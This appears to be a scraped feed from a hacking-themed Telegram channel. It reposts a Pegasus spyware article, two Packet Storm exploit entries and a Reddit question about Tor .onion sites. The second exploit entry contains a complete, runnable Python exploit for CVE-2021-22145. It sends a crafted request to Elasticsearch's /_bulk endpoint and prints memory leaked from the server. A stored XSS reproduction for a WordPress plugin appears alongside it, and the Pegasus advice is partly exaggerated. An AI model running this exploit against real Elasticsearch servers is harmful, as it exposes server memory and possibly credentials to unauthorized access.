Hacking Articles Tips Tricks Videos Tutorials
467 subscribers
65.7K photos
15 videos
157 files
131K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
hacking: security in practice Using VPN and popular tips that will not save your phone from Pegasus-like hacking READ ! IMPORTANT With spyware exploiting active zero-click attacks, it seems sophisticated spying tools like Pegasus are one step ahead of tech…
hird-party is trying to get your data. But in case of Pegasus, it stays in your phone. As the data is already decrypted when you're using the phone, what you can see on your screen, Pegasus can see it as well and then pass it to its operators by taking screenshots secretly.

The only way to get rid of Pegasus from your phone is by destroying the phone, memory card and the SIM card completely. Get a new phone and a new SIM card with a different phone number and change passwords of your accounts.



Also by using this tool you can check if you have been spied in a phone by Israeli Pegasus

The tool, which can be found on GitHub, contains several commands and a series of steps to follow in order to find out if Pegasus has targeted your phone, be it iOS or Android. In this link you can find and download the mobile phone verification toolkit. It is necessary to know the underlying code to run the tests; However, MVT provides options for both operating systems and what it does is run a vulnerability check on your device which will produce indicators to see if you have any indication that the device has been hacked by Pegasus.



What to do if your mobile phone is infected with Pegasus Normal users are usually not a target of powerful spyware like Pegasus, since its main use is to spy on political opponents, but your mobile phone may have ended up getting infected. In this case, the best thing that you can do is to get rid of it from your device.

So if you got here you deserve it enjoy thankssubmitted by /u/We_are7Anonym [link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
WordPress Simple Post 1.1 Cross Site Scripting

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
WordPress Simple Post plugin version 1.1 suffers from a persistent cross site scripting vulnerability.

MD5 | 1990fb20d089efa2ee5628a0db9402ba

Download
# Exploit Title: WordPress Plugin Simple Post 1.1 - 'Text field' Stored Cross-Site Scripting (XSS)
# Date: 23/07/2021
# Exploit Author: Vikas Srivastava
# Software Link: https://wordpress.org/plugins/simple-post/
# Version: 1.1
# Category: Web Application
# Tested on Mac

How to Reproduce this Vulnerability:

1. Install WordPress 5.7.2
2. Install and activate Simple Post
3. Navigate to Settings >> Simple Post and enter the XSS payload into the Text input field.
4. Click Update Options.
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
6. Payload Used: ">

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ElasticSearch 7.13.3 Memory Disclosure

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
ElasticSearch version 7.13.3 memory disclosure exploit.

MD5 | 128e0970c644272d608d5ebe1bafc7e5

Download
# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure
# Date: 21/07/2021
# Exploit Author: r0ny
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://github.com/elastic/elasticsearch
# Version: 7.10.0 to 7.13.3
# Tested on: Kali Linux
# CVE : CVE-2021-22145

#/usr/bin/python3

from argparse import ArgumentParser
import requests
from packaging import version
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("\n################################################################################################")
print("###### CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3) ######")
print("###### Exploit by r0ny (https://twitter.com/_r0ny) ######")
print("################################################################################################\n")
parser = ArgumentParser()
parser.add_argument("-u", "--url", dest="url", help="URL of ElasticSearch service")
parser.add_argument("-apikey", "--api-key", dest="api_key", help="API Key Authentication (Base64)", metavar="API", default="")
parser.add_argument("-b", "--basic", dest="basic", help="Basic Authentication (Base64)", default="")
args = parser.parse_args()

if not (args.url):
parser.error('Please input the elasticsearch url. e.g "python3 CVE-2021-22145.py -host http://127.0.0.1:9200"')

#Prepare authentication header
authorization_header = ""
if(args.api_key or args.basic):
authorization_header = "ApiKey " + args.api_key if args.api_key else "Basic " + args.basic

#Check elasticsearch version
r = requests.get(args.url,headers={"Authorization":authorization_header}, verify=False)
try:
es_version = json.loads(r.content)["version"]["number"]
except:
print("# Couldn't connect to " + args.url + ", please verify the url or the authentication token\n")
print("# Server response: " + str(r.content))
exit()

if version.parse(es_version) < version.parse("7.10.0") or version.parse(es_version) > version.parse("7.13.3"):
print("# Elastic Service not vulnerable")
print("# Elastic Service version: " + es_version)
print("# Elastic Service vulnerable versions: 7.10.0 to 7.13.3")
exit()

#Prepare exploitation
payload = "@\n"
vulnerable_endpoint = "/_bulk"
url = args.url + vulnerable_endpoint

#Exploitation
print("# ElasticSearch Version: " + es_version)
print("# Request to " + url+"\n")
r = requests.post(url, data = payload, headers={"content-type":"application/json", "Authorization":authorization_header}, verify=False)

#Read Memory Leak and remove stacktrace

print("$$$$$$$$$$$$$$$$$$$$$$$$$")
print("$$$$$ Memory Leaked $$$$$")
print("$$$$$$$$$$$$$$$$$$$$$$$$$\n")
response = json.loads(r.content)
leak1 = response["error"]["root_cause"][0]["reason"].split("(byte[])\"")[1].split("; line")[0]
leak2 = response["error"]["reason"].split("(byte[])\"")[1].split("; line")[0]
print(leak1+"\n"+leak2)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
Deep Web
No .onion sites loading

Anyone experienced this problem before? I’ve read some people say it’s due to the clock on the computer but that doesn’t seem to fix it. Normal websites load just not .onion

submitted by /u/TexScot
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video